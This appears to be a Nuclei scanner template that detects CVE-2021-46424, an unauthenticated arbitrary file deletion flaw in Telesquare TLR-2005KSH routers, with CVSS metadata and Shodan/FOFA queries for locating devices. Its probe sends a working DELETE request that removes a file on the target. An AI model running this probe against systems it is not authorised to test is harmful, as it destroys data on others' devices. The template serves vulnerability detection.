id: CVE-2021-46424

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete
  author: gy741
  severity: critical
  description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
  impact: |
    Successful exploitation could lead to loss of critical data or system instability.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt
    - https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing
    - http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46424
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46424
    cwe-id: CWE-306
    epss-score: 0.36834
    epss-percentile: 0.98306
    cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh_firmware
    shodan-query:
      - http.html:"TLR-2005KSH"
      - http.html:"tlr-2005ksh"
    fofa-query: body="tlr-2005ksh"
  tags: cve2021,cve,telesquare,intrusive,packetstorm,vuln

http:
  - raw:
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        DELETE /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"
# digest: 4a0a004730450221008f7e573cea31f8a369dc0742edb7edfc15c7b2b54e5d99bbb71f716660563e5102202eb9afc5a7c515c8bb26a6d8dc757e57c1745271fb0f757e46adcdee5a419558:922c64590222798bb761d5b6d8e72950